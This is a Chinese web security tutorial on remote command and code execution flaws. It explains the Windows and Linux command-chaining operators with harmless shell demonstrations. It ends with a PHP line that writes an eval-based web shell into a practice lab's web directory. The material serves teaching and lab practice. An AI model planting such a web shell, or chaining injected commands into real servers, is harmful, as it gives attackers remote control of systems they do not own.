风炫安全web安全学习第三十节课 命令执行&代码执行基础

风炫安全web安全学习第三十节课 命令执行&代码执行基础

代码执行&命令执行

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
  比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

Windows系统命令拼接

  1. “|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
  2. “&” commandA & commandB 先运行命令A,然后运行命令B
  3. “||” commandA || commandB 运行命令A,如果失败则运行命令B
  4. “&&” commandA && commandB 运行命令A,如果成功则运行命令B

LINUX下系统命令拼接

  1. ;分号(;) 可以进行多条命令的无关联执行,每一条执行结果不会影响其他命令的执行

    ls ; cat file
    
  2. && 逻辑与, 左边的command1执行成功(返回0表示成功)后,**&&**右边的command2才能被执行。

    ➜   asdasdasd &&  cat testfile
    zsh: command not found: asdasdasd
    
    ➜  ls && cat testfile
    dvwa       pikachu    subject01  subject02  test.html  test2.html test3.html testenv    testfile
    test 30
    hello 95
    linux 85
    
  3. || 逻辑或,如果 || 左边的command1执行失败(返回1表示失败),才执行**||右边**的command2,否则不执行command2,具有短路功能。

    ➜  asdasda || cat testfile
    zsh: command not found: asdasda
    test 30
    hello 95
    linux 85
    ➜  ls  || cat testfile
    dvwa       pikachu    subject01  subject02  test.html  test2.html test3.html testenv    testfile
    
  4. | 管道符,当用此连接符连接多个命令时,前面命令执行的正确输出,会交给后面的命令继续处理。若前面的命令执行失败,则会报错,若后面的命令无法处理前面命令的输出,也会报错。

    ➜   cat testfile
    test 30
    hello 95
    linux 85
    ➜ cat testfile | grep -n "hello"
    2:hello 95
    ➜  grep -n "hello" testfile
    2:hello 95
    
  5. () 如果想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用圆括号()把所有命令组合起来。

    结合||和&&可以实现复杂的功能。

    sort testfile
    hello 95
    linux 85
    test 30
    ➜   sort testfile > test.sort && (cp test.sort /tmp/; cat /tmp/test.sort)
    hello 95
    linux 85
    test 30
    
    file_put_contents('/var/www/html/pikachu/vul/rce/x.php', '<?php eval($_GET[w]);?>')
    

参考:
http://blog.evalshell.com/2020/12/20/风炫安全web安全学习第三十节课-命令执行代码执行/

猜你喜欢

转载自blog.csdn.net/hyj123480/article/details/112251983